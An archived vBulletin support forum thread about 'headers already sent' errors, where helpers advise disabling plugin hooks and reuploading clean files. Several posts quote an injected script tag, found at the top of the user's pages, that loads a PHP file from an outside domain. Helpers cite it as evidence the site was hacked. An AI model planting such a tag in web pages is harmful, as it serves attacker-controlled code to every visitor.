vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vB4 General Discussions (https://vborg.vbsupport.ru/forumdisplay.php?f=251)
-   -   Error: Unable to add cookies, header already sent (https://vborg.vbsupport.ru/showthread.php?t=314573)

cellarius 10-05-2014 07:19 AM

Well, the file that triggers the error clearly is from an addon, namely a dbtech one, probably status and moods. This addon clearly is still executing plugin code, which it wouldn't if that line of code was present. Either you did not add it correctly or you did not add it to the correct file.

BlueCheri 10-05-2014 07:32 AM

Quote:

Originally Posted by cellarius (Post 2517721)
Well, the file that triggers the error clearly is from an addon, namely a dbtech one, probably status and moods. This addon clearly is still executing plugin code, which it wouldn't if that line of code was present. Either you did not add it correctly or you did not add it to the correct file.

Thanx for your reply.

But now I can not login to admin cp and disable that mod, any other option to do it?

Note:

After using this code;


PHP Code:

define('DISABLE_HOOKS'true); 

I am getting following error;

PHP Code:

Warningsession_start() [function.session-start]: Cannot send session cookie headers already sent by (output started at ..../vb/vb.php:300in ..../includes/facebook/facebook.php on line 49

Warning
session_start() [function.session-start]: Cannot send session cache limiter headers already sent (output started at ..../vb/vb.php:300in ..../includes/facebook/facebook.php on line 49 

And for Admin CP following error;

PHP Code:

Parse errorsyntax errorunexpected T_VARIABLE in /home/offwalk/public_html/admincp/index.php on line 943 


Lynne 10-05-2014 03:59 PM

You should have both the lines in there:

PHP Code:

define('DISABLE_HOOKS'true); 
define('SKIP_DS_ERRORS'true); 

What error do you get with both of those lines added via notepad++?

BlueCheri 10-06-2014 04:44 AM

Quote:

Originally Posted by Lynne (Post 2517761)
You should have both the lines in there:

PHP Code:

define('DISABLE_HOOKS'true); 
define('SKIP_DS_ERRORS'true); 

What error do you get with both of those lines added via notepad++?

Same error

PHP Code:

Warningsession_start() [function.session-start]: Cannot send session cookie headers already sent by (output started at ..../vb/vb.php:300in ..../includes/facebook/facebook.php on line 49

Warning
session_start() [function.session-start]: Cannot send session cache limiter headers already sent (output started at ..../vb/vb.php:300in ..../includes/facebook/facebook.php on line 49 

https://vborg.vbsupport.ru/external/2014/10/28.jpg

cellarius 10-06-2014 08:27 AM

Download a fresh package from the customer's area at vb.com and reupload your vB files. Leave the lines Lynne told you in your config.php.

Lynne 10-06-2014 04:02 PM

What is this code at the top of your page?

HTML Code:

<script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><br />
If you didn't put it there, then I think you've been hacked which means you should definitely do what Sven suggested and download a fresh set of files and upload them to the site and remove ALL files from your server that you didn't personally upload to the site.

Disco_Stu 10-06-2014 10:44 PM

Quote:

Originally Posted by Lynne (Post 2517894)
What is this code at the top of your page?

HTML Code:

<script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><br />
If you didn't put it there, then I think you've been hacked which means you should definitely do what Sven suggested and download a fresh set of files and upload them to the site and remove ALL files from your server that you didn't personally upload to the site.

If his site was hacked then there's the possibility that anyone visiting his site (including those that are trying to help him) may also now be hacked themselves.

Lynne 10-07-2014 11:07 PM

Visiting a hacked site doesn't suddenly 'hack' your computer. I visit hacked sites quite often and I've never had my computer hacked because of it.

Disco_Stu 10-08-2014 12:01 AM

Quote:

Originally Posted by Lynne (Post 2518084)
Visiting a hacked site doesn't suddenly 'hack' your computer. I visit hacked sites quite often and I've never had my computer hacked because of it.

I didn't say it would. I said there is the possibility. It's never a good idea to visit a site that may be compromised . Most viruses are designed to spread with each new visitor to the infected site.

Also, keep in mind that the best designed virus is the virus that infects your computer without you ever knowing about it. Sometimes people have a virus on their system for years before it's discovered. How do you think all the big box store hacking is taking place? Those viruses were present for a long time even when those companies had entire IT departments dedicated to protecting their systems.

BlueCheri 10-08-2014 10:58 AM

Ok, thanks.

Let try this.

Rgds

Quote:

Originally Posted by Lynne (Post 2517894)
What is this code at the top of your page?

HTML Code:

<script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><br />
If you didn't put it there, then I think you've been hacked which means you should definitely do what Sven suggested and download a fresh set of files and upload them to the site and remove ALL files from your server that you didn't personally upload to the site.

--------------- Added [DATE]1412775828[/DATE] at [TIME]1412775828[/TIME] ---------------

That works, many thanx :)

Rgds,


Quote:

Originally Posted by cellarius (Post 2517843)
Download a fresh package from the customer's area at vb.com and reupload your vB files. Leave the lines Lynne told you in your config.php.

Quote:

Originally Posted by Lynne (Post 2517894)
What is this code at the top of your page?

HTML Code:

<script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><script type="text/javascript" src="http://www.donaldmazza.com/ngffjrzg.php"></script><br />
If you didn't put it there, then I think you've been hacked which means you should definitely do what Sven suggested and download a fresh set of files and upload them to the site and remove ALL files from your server that you didn't personally upload to the site.



All times are GMT. The time now is 06:01 PM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.01323 seconds
  • Memory Usage 1,773KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (4)bbcode_html_printable
  • (6)bbcode_php_printable
  • (7)bbcode_quote_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)pagenav
  • (1)pagenav_curpage
  • (3)pagenav_pagelink
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (10)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • pagenav_page
  • pagenav_complete
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete